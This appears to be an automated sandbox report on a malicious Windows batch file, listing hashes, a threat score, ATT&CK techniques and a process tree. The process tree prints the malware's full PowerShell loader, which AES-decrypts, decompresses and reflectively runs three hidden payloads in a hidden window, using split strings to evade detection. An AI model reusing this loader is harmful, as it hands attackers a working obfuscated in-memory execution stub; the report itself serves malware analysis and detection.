5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/11/2024, 11:18

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General

Target

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat
Size

1.6MB
MD5

28b65da7604be7bf55d110b2d521e819
SHA1

81c6e84481c6e930b56744c952fd6ad51d1d0510
SHA256

5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1
SHA512

b7cf5171c7c03952408185784617b18560113aa12495cae6feb6a1624253ab26f590f549adcb86f01b03216991eb329281362bacc0735207f17d374b6ebfc986
SSDEEP

24576:R7gWtTN1E+XtPIVRbYswK391U9NxwoQvn7hHBhVFbU3fY2m+7BdMtgYGURazVXm6:R8GoJVlXhwmQYRataE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 2296	1044	cmd.exe	29
PID 1044 wrote to memory of 2296	1044	cmd.exe	29
PID 1044 wrote to memory of 2296	1044	cmd.exe	29
PID 1044 wrote to memory of 3020	1044	cmd.exe	30
PID 1044 wrote to memory of 3020	1044	cmd.exe	30
PID 1044 wrote to memory of 3020	1044	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('PzSH18pJ0ENyFSM/USldXJhwnqnJUUe00JoxlVJW0c0='); $aes_var.IV=[System.Convert]::FromBase64String('9Tu4NVBBLcJYA/vSvSTOtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$RwOEe=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$gtrMl=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$vevrb=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($RwOEe, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $vevrb.CopyTo($gtrMl); $vevrb.Dispose(); $RwOEe.Dispose(); $gtrMl.Dispose(); $gtrMl.ToArray();}function execute_function($param_var,$param2_var){ IEX '$qIMhL=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$WefkQ=$qIMhL.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$WefkQ.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$UgEHe = 'C:\Users\Admin\AppData\Local\Temp\5d6a1784c8174765c6cbcae4384a72433e0d4c853bcc83baa2a56f5e6826ecc1.bat';$host.UI.RawUI.WindowTitle = $UgEHe;$KMhqS=[System.IO.File]::ReadAllText($UgEHe).Split([Environment]::NewLine);foreach ($xITWx in $KMhqS) { if ($xITWx.StartsWith('CJcwMcQcauxKDynFigtW')) { $JAGyo=$xITWx.Substring(20); break; }}$payloads_var=[string[]]$JAGyo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3020-4-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

Filesize
4KB

Download
memory/3020-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/3020-7-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-8-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-9-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-10-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

Filesize
4KB

Download